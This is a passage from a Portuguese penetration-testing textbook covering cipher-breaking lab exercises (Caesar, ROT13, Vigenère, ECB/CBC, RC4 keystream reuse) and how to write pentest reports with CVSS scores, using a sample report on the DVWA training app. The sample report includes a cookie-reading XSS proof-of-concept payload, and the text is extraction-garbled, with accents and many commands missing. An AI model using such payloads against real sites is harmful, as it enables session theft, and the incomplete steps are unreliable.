substituio simples, que ser criptoanalisada em atividade posterior.
ndice de coincidncia
O ndice de coincidncia uma ferramenta que auxilia o processo de criptoanlise, ao
indicar o tipo de cifra utilizada e o provvel idioma da mensagem original. A ltima parte,
porm, requer uma mensagem suficientemente longa, que seja vlida estatisticamente.
~$ ioc ingles.txt
~$ ioc ingles.enc
~$ ioc portugues2.txt
~$ ioc portugues2.poli.enc
Note que o ndice de coincidncia bem menor que o apresentado por textos em linguagem
natural, conforme esperado.
460
Quebra da cifra de Cesar
A cifra de Cesar, assim como a codificao em BASE64, uma transformao fixa, que no
utiliza uma chave. Por esse motivo, muito fcil quebr-la e recuperar o texto legvel.
~$ cat cesar.enc
~$ ioc cesar.enc
Observe que o valor encontrado indica corretamente que o texto est protegido por uma
cifra monoalfabtica ou de transposio.
5. Visualize o contedo do arquivo cesar.plain e veja que texto legvel foi recuperado:
~$ cat cesar.plain
6. Suponha que o arquivo arquivo2.txt, gerado no exerccio sobre BASE64, esteja prote-
gido com Cesar. Tente decifr-lo por meio do comando:
7. Visualize o contedo do arquivo arquivo2.plain e veja que texto legvel foi recuperado:
~$ cat arquivo2.plain
~$ cat deslocamento.enc
~$ ioc deslocamento.enc
Este um exemplo de que uma classe incorreta de cifra pode ser identificada, quando o
texto cifrado for muito pequeno.
~$ rotix -f deslocamento.enc -r 1 -L
5. Repita o passo anterior, variando k de 2 a 25 (opo -r), at que texto legvel seja obtido.
461
Quebra de ROT13
ROT13 outro exemplo de transformao fixa, baseada em uma especializao da cifra de
deslocamento, com chave k = 13. A recuperao de texto protegido por este mecanismo
trivial, conforme ilustrado pela presente atividade:
~$ cat rot13.enc
~$ ioc rot13.enc
~$ rotix -f rot13.enc
2. Acesse http://www.simonsingh.net/The_Black_Chamber/frequencypuzzle.htm.
~$ ioc portugues3.mono.enc
10. Substitua, em ordem, as trs letras mais comuns na lngua portuguesa por aquelas
encontradas no passo anterior. Para isso, preencha os campos correspondentes em
Plaintext Alphabet.
11. Procure no campo Plaintext agrupamentos de letras que possam ser identificadas como
palavras. Para cada uma que encontrar, veja que mapeamentos podem ser inferidos entre
letras do texto em claro e do texto cifrado e efetue a substituio em Plaintext Alphabet.
462
Quebra da cifra de Vigenre
Nesta atividade, um texto cifrado com Vigenre ser criptoanalisado pelo mtodo de
Babbage, com o auxlio de ferramentas do stio web The Black Chamber, de Simon Singh:
2. Acesse http://www.simonsingh.net/The_Black_Chamber/cracking_tool.html.
9. Role a tela, observe a coluna que possui o maior nmero de linhas marcadas com X e
clique no cabealho correspondente.
10. V ao final da pgina e clique no boto L1, para analisar a cifra monoalfabtica definida
para a primeira posio de cada bloco.
11. Clicando nas setas para a direita ou para a esquerda, alinhe o histograma em vermelho
com o da Figura 9.62 e observe que o texto no campo lateral muda automaticamente
para refletir o novo mapeamento. Oriente-se pelos picos das letras A, E e O e pelo
vale formado pelas quatro ltimas letras.
463
2. Visualize com o gimp a imagem figura.bmp:
-K 01234567890123456789012345678901 -iv 0
-K 01234567890123456789012345678901 -iv 0
6. Liste os arquivos do diretrio e observe que o tamanho dos arquivos cifrados maior
que o original em alguns bytes:
~$ ls -l
Isso se deve ao processo de padding, que consiste em se preencher a mensagem para que o
tamanho dela fique mltiplo daquele definido pelo bloco da cifra utilizada.
~$ ls -l
Note que, enquanto no houve compresso do arquivo cifrado em modo CBC, a con-
traparte em modo ECB teve o tamanho reduzido para apenas 3,7% do original. Isto
indica a presena de muita redundncia no arquivo, o que no se espera da sada de
uma cifra utilizada corretamente.
OK para encerr-la.
11. Como o formato BMP descreve um mapa de bits, copiando o cabealho da imagem
original para os arquivos cifrados, possvel visualiz-los e observe as mudanas que
ocorreram em cada bit, no processo de ciframento:
464
12. Visualize o arquivo figura.bmp.ecb:
Observe que a imagem do arquivo original preservada, mas com cores diferentes.
14. Visualize o arquivo figura.bmp.cbc e note que a imagem no possui relao nenhuma
com a figura original:
5. Considere que o atacante tenha acesso somente aos arquivos cifrados, mas que conhece
o texto em claro correspondente ao primeiro deles, isto , o contedo de 1.txt. Calcu-
lando o XOR byte a byte entre este arquivo e o 1.enc, obtm-se o fluxo de chaves gerado
pelo RC4, que no varia quando uma chave fixa empregada. Isso pode ser executado
Captulo 9 - Roteiro de Atividades
~$ hexdump ks.bin
465
7. O conhecimento do fluxo de chaves gerado implica que irrelevante saber a chave espe-
cfica que foi utilizada no ciframento, pois, calculando o XOR byte a byte entre o primeiro
e qualquer texto protegido por ele, obtm-se o texto legvel correspondente:
8. Visualize os contedos dos arquivos 2.plain e 3.plain e veja que correspondem aos
textos em claro originais, presentes nos arquivos 2.txt e 3.txt, respectivamente:
2. Digite o comando abaixo para gerar um dicionrio para nmeros de seis dgitos:
~$ dictbuilder 6 list.txt
~$ gedit list.txt
~$ du -m list.txt
466
Bibliografia 9
1 BARKER, Elaine, BARKER, William, BURR, William, POLK, William e SMID, Miles.
Recommendation for Key Management Part I: General. NIST Special Publication SP800-57,
National Institute of Standards and Technology, 2007.
1 CARMICHAEL, Mary. Como Conter o Parasita Mais Letal do Mundo. Em Scientific American
Brasil, Ano 8, nmero 103, dezembro de 2010.
1 DWORKIN, Morris. Recommendation for Block Cipher Modes of Operation Methods and
Techniques. NIST Special Publication SP800-38A, National Institute of Standards and
Technology, 2001.
1 GAINES, Helen Fouch. Cryptanalysis A study of ciphers and their solution. Dover
Publications, 1939.
1 HOWARD, Michael, LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 Kleinjung, Thorsten, Aoki, Kazumaro, Franke, Jens, Lenstra, Arjen K., Thom, Emmanuel,
Bos, Joppe W., Gaudrym, Pierrick, Kruppa, Alexander, Montgomery, Peter L., Osvik, Dag
Arne, Riele, Herman te, Timofeev, Andrey e Zimmermann, Paul. Factorization of a 768-bit
RSA modulus. Cryptology ePrint Arhive 2010/006. IACR, 2010.
1 KOST, Stephen. Security Analysis Hashing Credit Card Numbers: Unsafe Application Practice.
Relatrio Tcnico de Integrigy Corporation, 2007.
1 LENSTRA, Arjen, VERHEUL, Eric. Selecting Cryptographic Key Sizes. Journal of Cryptology,
volume 14, 1999.
1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.
International Workshop, SAC 2005, volume 3897 de Lecture Notes in Computer Science,
pginas 234244. Springer, 2005.
1 RIBEIRO, Ronaldo. Cdigo Postal | guas Claras, DF 71900-000 Fico Urbana. Em National
Geographic Brasil, janeiro de 2011.
1 SAVALICH, William. Evolution in the Revolution. Em Digital Photo Pro, maro/abril de 2009.
467
1 SINGH, Simon. The Code Book The Evolution of Secrecy from Mary, Queen of Scots to
Quantum Cryptography. Doubleday, 1999.
1 SMART, Nigel. ECRYPT II Yearly Report on Algorithm and Keysizes (2009-2010) Revision 1.0.
ECRYPT, maro de 2010.
1 STALLINGS, William. Cryptography and Network Security Principles and Practice. 4th
edition. Prentice Hall.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 WAGNER, David e SCHNEIER, Bruce. Analysis of the SSL 3.0 Protocol. Em Proceedings of the
Second USENIX Workshop on Electronic Commerce, 1996.
1 WANG, Xiaoyun, YAO, Andrew e YAO, Frances. New Collision Search for SHA-1. Rump Session
de Crypto05, 2005.
1 WANG, Xiaoyun, YIN, Yiqun Lisa e YU, Hongbo. Finding Collisions in the Full SHA-1. Em
CRYPTO 2005: 25th Annual International Cryptology Conference, volume 3621 de Lecture
Notes in Computer Science. Springer, 2005.
1 WANG, Xiaoyun e YU, Hongbo. How to Break MD5 and Other Hash Functions. Em
EUROCRYPT 2005, 24th Annual International Conference on the Theory and Applications
of Cryptographic Techniques, volume 3494 de Lecture Notes in Computer Science, pages
1935. Springer, 2005.
1 WONG, Kate. Twilight of the Neandertals. Em Scientific American, volume 301, nmero 2,
agosto de 2009.
Teste de Invaso de Aplicaes Web
468
10
Escrita de relatrios
e exerccio completo
objetivos
conceitos
Relatrio detalhado, relatrio executivo, common vulnerability scoring system.
Introduo
Uma vez finalizado um teste de invaso em aplicaes web, o resultado deve ser apre- q
sentado ao cliente do servio, seja ele interno ou externo. Essa etapa extremamente
importante, pois ela que nortear quais problemas sero tratados, considerando-se o
risco para o negcio, as limitaes de oramento, os prazos e a dificuldade de correo.
Obviamente, em um cenrio ideal, todas as vulnerabilidades devem ser corrigidas, mas,
na prtica, infelizmente, isso quase nunca acontece. Desse modo, subsdios suficientes
devem ser fornecidos ao cliente para que ele, com base em uma anlise de risco, seja
capaz de traar um plano de ao realstico, para correo dos defeitos mais crticos.
1 Apresentao tcnica: deve ser realizada para o grupo tcnico do cliente, visando
mostrar as vulnerabilidades encontradas e discutir mtodos que podem ser ado-
tados para corrigi-las de maneira apropriada. Normalmente, esse tipo de reunio
tem durao de duas a quatro horas, dependendo da quantidade de problemas
detectados pelo teste de invaso.
469
1 Apresentao executiva: voltada para o corpo gerencial, trata somente dos fatos mais q
importantes do trabalho, sem entrar em detalhes tcnicos. Em uma reunio dessa natu-
reza, que dura no mximo uma hora, comum discutir, por exemplo, aspectos como o
tempo e o investimento necessrios para correo das vulnerabilidades reportadas.
Base
O grupo base de mtricas considera as caractersticas fundamentais de uma vulnerabili- q
dade, listadas a seguir:
explorar a vulnerabilidade.
470
Os critrios de classificao estabelecidos para cada uma das mtricas, a frmula para
clculo do escore final e a estrutura do vetor textual so apresentados, nas prximas subse-
es, de acordo com o artigo de Mell et al. (2007).
Por exemplo, caso um servidor web inseguro seja colocado na internet e outro idntico,
em uma rede local, sem conexo remota, o ltimo estar exposto somente aos usurios do
prprio ambiente, enquanto que o primeiro ter o mundo todo como eventual origem de
ataque. Ainda nessa linha de raciocnio, o fato de uma explorao poder ser realizada remo-
tamente estimula que mais pessoas tentem o ataque, pois as chances de permanecerem
annimas aumentam drasticamente. A Figura 10.1 ilustra os valores e os critrios dessa
mtrica.
Valor da
f(AV) Critrios
mtrica
Valor da
f(AC) Critrios
471
Autenticao (Au)
Considera quantas vezes um atacante necessita se autenticar no sistema alvo antes q
de executar um ataque explorando a vulnerabilidade. importante observar que a
segurana do mecanismo de autenticao no considerada por essa mtrica, que trata
apenas do fornecimento de credenciais.
vulnerabilidade.
472
A Figura 10.6 apresenta os valores e critrios dessa mtrica.
Valor da
f(A) Critrios
mtrica
O vetor textual, por sua vez, indica qual valor foi escolhido para cada mtrica, de acordo q
com os critrios estabelecidos, e representado como uma lista, cujos elementos so
separados uns dos outros pelo caractere / e definidos pelo nome abreviado da mtrica,
seguido de : e, por fim, do valor atribudo.
AV:<L|A|N>/AC:<H|M|L>/Au:<M|S|N>/C:<N|P|C>/I:<N|P|C>/A:<N|P|C>
1 Impacto=10,41(1-(1-0,66)(1-0,66)(1-0,66))=10,41(1-0,340,340,34)=10,41(1-0,039304)=
10,410,960696=10,00084536
1 f(Impacto)=1,176
1 Explorabilidade=2010,710,704=9,9968
1 Escore de Base=(0,610,00084536+0,49,9968-1,5)1,176= (6,000507216+3,99872-1,5)1,176 =
8,4992272161,176=9,995091206016
=10,0
473
O vetor textual resultante para este cenrio :
AV:N/AC:L/Au:N/C:C/I:C/A:C
Logo, o escore de base para injeo de SQL deve ser indicado da seguinte maneira:
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
De modo a facilitar a incluso em relatrios, no apndice deste captulo, uma tabela, adap-
tada do trabalho de Gordeychik et al. (2008), enumera os escores de base para os principais
defeitos de segurana existentes em aplicaes web.
Exerccio de fixao 2 e
Perigo de vulnerabilidades
Como possvel comparar o perigo oferecido por vulnerabilidades diferentes?
Tipos de relatrios
Normalmente, ao final de um teste de invaso, so fornecidos dois relatrios, descre- q
vendo os resultados do trabalho realizado:
Nesta seo, para cada um dos tipos de relatrio, um modelo geral apresentado, enquanto
que, no apndice deste captulo, exemplos so fornecidos para que o leitor tenha um norte
de como documentar os resultados obtidos.
Relatrio detalhado
Um modelo de relatrio detalhado est ilustrado abaixo:
1. Resumo
resultados alcanados.
2. Informaes do cliente
Lista as informaes de contato do cliente, como nome, endereo comercial, telefone, e-mail
e logotipo da empresa.
3. Escopo do trabalho
474
3.1.Aplicao 1
Descrio
Topologia de rede
...
3.m Aplicao m
Descrio
Topologia de rede
4. Descrio do teste
4.1.Tipo de teste
4.2.Perodo de execuo
4.3.Locais de execuo
Local fsico e local lgico, a partir dos quais os testes foram realizados.
4.4.Metodologia empregada
4.5.Informaes disponibilizadas
Lista de informaes disponibilizadas pelo cliente, para execuo dos trabalhos, incluindo
diagramas de rede, contas de usurio, projeto do sistema, documentos de requisito,
Quaisquer excees que tenham sido configuradas nas regras de permetro devem estar
listadas nesta seo.
4.7.Testes excludos
5. Resultados
475
5.1.Aplicao 1
5.1.1 Vulnerabilidade 1
Descrio do problema
Mtodo de explorao
Recomendaes
...
5.1.n1 Vulnerabilidade n1
Descrio do problema
Mtodo de explorao
Recomendaes
...
5.m Aplicao m
5.m.1 Vulnerabilidade 1
Descrio do problema
Mtodo de explorao
Recomendaes
...
5.m.nm Vulnerabilidade nm
Descrio do problema
Mtodo de explorao
Recomendaes
6. Referncias
476
7. Anexos
Relatrio executivo
Um modelo de relatrio executivo est ilustrado a seguir:
1. Resumo
2. Informaes do cliente
Lista as informaes de contato do cliente, como nome, endereo comercial, telefone, e-mail
e logotipo da empresa.
3. Escopo do trabalho
3.1.Aplicao 1
...
3.m Aplicao m
...
Nesta seo, os resultados dos testes de invaso devem ser apresentados graficamente,
agrupando as vulnerabilidades pelo tipo e, tambm, pelo grau de criticidade.
5. Diagnstico geral
Esta seo deve descrever, resumidamente, o que possvel realizar contra a aplicao, com
base nas vulnerabilidades encontradas.
Apndice
Tabela de escore de base de acordo com o CVSS
A Figura 10.7, adaptada de Gordeychik et al. (2008), ilustra possveis escores de base para as
principais vulnerabilidades encontradas em aplicaes web, alm de relacionar os captulos
em que aquelas podem ser encontradas neste livro.
477
Vulnerabilidade Escore de Base Captulos
478
Vulnerabilidade Escore de Base Captulos
Reconhecimento 0 (AV:N/AC:L/Au:N/C:N/I:N/A:N) 2
Este relatrio descreve os resultados do teste externo de invaso da aplicao DVWA, reali-
zado no perodo de 05/01/2011 a 14/01/2011. Diversas vulnerabilidades foram descobertas
ao longo do processo, sendo algumas delas extremamente crticas, por possibilitarem a
extrao completa da base de dados, que se encontra em claro, apesar de conter informa-
es sigilosas.
2. Informaes do cliente
3. Escopo do trabalho
3.1.DVWA
Descrio
A aplicao DVWA, criada pela RandomStorm, tem por objetivo permitir que aquelas
pessoas interessadas em aprender sobre vulnerabilidades em aplicaes web possam
realizar testes, em um ambiente controlado, sem cometer infraes legais. Como um
sistema de cdigo aberto, pode-se analisar o cdigo vulnervel, para entender o motivo
de um dado problema ocorrer.
http://dvwa.esr.rnp.br/login.php
479
Topologia de rede
Rede interna
Internet
DMZ
DVWA
4. Descrio do teste
4.1.Tipo de teste
4.2.Perodo de execuo
Este trabalho foi realizado no perodo de 05/01/2011 a 14/01/2011, somente em dias teis
e em horrio comercial.
4.3.Locais de execuo
O teste de invaso foi efetuado, a partir da sede da empresa Pentest Inc., em Campinas
(SP), por meio da internet.
4.4.Metodologia empregada
4.5.Informaes disponibilizadas
2 Diagrama de rede.
2 Conta de acesso no privilegiada (esruser/esruser).
2 URL da pgina principal da aplicao.
Nenhuma configurao especial foi realizada no firewall da ESR para a execuo do teste de
invaso da aplicao DVWA.
480
4.7.Testes excludos
2 Negao de servio.
2 Identificao de vulnerabilidades nos elementos de rede.
2 Anlise do cdigo-fonte da aplicao.
5. Resultados
5.1.DVWA
Descrio do problema
Injeo de SQL atualmente um dos ataques mais comuns contra aplicaes web e consiste
em inserir comandos SQL, em campos e parmetros da aplicao, com o objetivo que sejam
executados na camada de dados (Stuttard e Pinto, 2007; Howard et al., 2005). Em ataques
mais simples, operaes podem ser realizadas no banco de dados, limitadas aos privilgios
da conta que realiza o acesso. Com um pouco mais de elaborao, possvel aproveitar-se
dos mecanismos de interao com o sistema operacional, existentes em bancos de dados,
para leitura/escrita de arquivos e execuo de comandos arbitrrios, por exemplo.
http://dvwa.esr.rnp.br/vulnerabilities/sqli/
Mtodo de explorao
Para extrao de dados arbitrrios, possvel fornecer o seguinte vetor ao campo User Id:
Recomendaes
Para evitar ataques baseados em injeo de SQL, as seguintes medidas devem ser adotadas:
2 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de
process-la, verifique se ela est de acordo com valores reconhecidamente vlidos Captulo 10 - Escrita de relatrios e exerccio completo
para o campo ou parmetro.
2 Capture todos os erros de execuo e fornea apenas mensagens tratadas aos usu-
rios, isto , no exiba erros contendo comandos SQL, pilhas de execuo e cdigos
especficos de plataforma.
2 Utilize na aplicao uma conta para acesso ao banco de dados com os mnimos privil-
gios necessrios execuo das tarefas.
481
Escore de base (CVSS)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Descrio do problema
http://dvwa.esr.rnp.br/vulnerabilities/xss_r/
Mtodo de explorao
Para uma prova de conceito, digite o seguinte vetor no campo presente na pgina afetada:
<script>alert(document.cookie)</script>
Recomendaes
2 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de
process-la, verifique se ela est de acordo com valores reconhecidamente vlidos
para o campo ou parmetro.
2 Utilize codificao HTML na sada, o que faz com que caracteres potencialmente peri-
gosos sejam tratados como parte do contedo da pgina HTML, em vez de conside-
rados parte da estrutura. Por exemplo, o texto <script> seria inserido na pgina como
<script>, uma vez codificado.
6,4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
...
6. Referncias
1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
482
7. Anexos
7.1.Sada do nmap
|_ /
|_ html-title: Test Page for the Nginx HTTP Server on Fedora Captulo 10 - Escrita de relatrios e exerccio completo
7.2.Sada do Nikto
- Nikto v2.03/2.04
------------------------------------------------------------------------
+ Target Port: 80
-------------------------------------------------------------------------
483
+ Server: Apache/2.2.17 (Fedora)
-------------------------------------------------------------------------
+ 1 host(s) tested
-------------------------------------------------------------------------
484
Exemplo de sumrio executivo
1. Resumo
Este relatrio descreve os resultados do teste externo de invaso da aplicao DVWA, reali-
zado no perodo de 05/01/2011 a 14/01/2011. Diversas vulnerabilidades foram descobertas
ao longo do processo, sendo algumas delas extremamente crticas, por possibilitarem a
extrao completa da base de dados, que se encontra em claro, apesar de conter informa-
es sigilosas.
2. Informaes do cliente
3. Escopo do trabalho
Faz parte do escopo do presente trabalho uma nica aplicao web, chamada de DVWA.
3.1.DVWA
A aplicao DVWA, criada pela RandomStorm, tem por objetivo permitir que aquelas
pessoas interessadas em aprender sobre vulnerabilidades em aplicaes web possam
realizar testes, em um ambiente controlado, sem cometer infraes legais. Como um
sistema de cdigo aberto, pode-se analisar o cdigo vulnervel, para entender o motivo
de um dado problema ocorrer.
12
10
Quantidade
2 4 6 8 10
Escore de Base
485
O seguinte grfico, por sua vez, lista, por classe de vulnerabilidade encontrada, o escore de
base (CVSS) e o nmero total de ocorrncias.
5. Diagnstico geral
486
Roteiro de Atividades 10
Atividade 1 Teste da aplicao Vicnum
Esta atividade tem por objetivo servir de aquecimento para o exerccio de captura da ban-
deira, por meio da explorao de uma aplicao mais simples. Para inici-la, carregue as
mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
2. Acesse http://vicnum.esr.rnp.br/
5. Encerre o Firefox.
http://wackopicko.esr.rnp.br/
487
Algumas contas pr-cadastradas, que podem ser usadas, incluem:
1 scanner1/scanner1.
1 scanner2/scanner2.
1 bryce/bryce.
488
Bibliografia 10
1 AUGER, Robert et al. WASC Threat Classification Version 2.00. Web Application Security
Consortium, 2010.
1 MELL, Peter, SCARFONE, Karen e ROMANOSKY, Sasha. CVSS A Complete Guide to the
Common Vulnerability Scoring System Version 2.0. FIRST, 2007.
Captulo 10 - Bibliografia
489
Um teste de invaso, tambm chamado de teste de pene-
LIVRO DE APOIO AO CURSO
ISBN 978-85-63630-17-9
9 788563 630179
Teste de Invaso de Aplicaes Web
490